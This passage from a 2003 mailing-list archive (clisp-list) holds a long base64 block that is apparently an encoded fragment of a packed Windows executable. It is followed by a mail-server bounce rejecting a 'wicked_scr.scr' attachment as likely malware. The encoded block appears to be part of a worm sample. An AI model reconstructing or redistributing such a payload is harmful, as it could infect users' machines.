AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 From MAILER-DAEMON Tue Aug 19 06:55:51 2003 Received: from mail by sc8-sf-list1.sourceforge.net with local (Exim 3.31-VA-mm2 #1 (Debian)) id 19p6xi-0006pP-00 for ; Tue, 19 Aug 2003 06:55:50 -0700 X-Failed-Recipients: message filter, clisp-list@lists.sourceforge.net From: Mail Delivery System To: clisp-list@sourceforge.net Message-Id: Subject: [clisp-list] Mail delivery failed: returning message to sender Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 06:56:13 2003 X-Original-Date: Tue, 19 Aug 2003 06:55:50 -0700 This message was created automatically by mail delivery software (Exim). A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: save to /var/spool/exim/rejects/embeddedmimeattachement generated by message filter failed to lock mailbox /var/spool/exim/rejects/embeddedmimeattachement (lock file): retry timeout exceeded clisp-list@lists.sourceforge.net This message has been rejected because it has a potentially executable attachment "wicked_scr.scr" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. If you didn't mean to send this file, and you are using microsoft outlook, you are probably infected. Please stop using outlook, it is inherently insecure and you are generating lots of wasted bandwidth and support headackes by using it, and you are jeopardizing your files and your data Please seriously consider using another mail client ------ This is a copy of the message, including all the headers. ------ ------ The body of the message is 99843 characters long; only the first ------ 10240 or so are included here. Return-path: Received: from d-128-78-122.bootp.virginia.edu ([128.143.78.122] helo=CE55) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19p6xD-0006hX-00 for ; Tue, 19 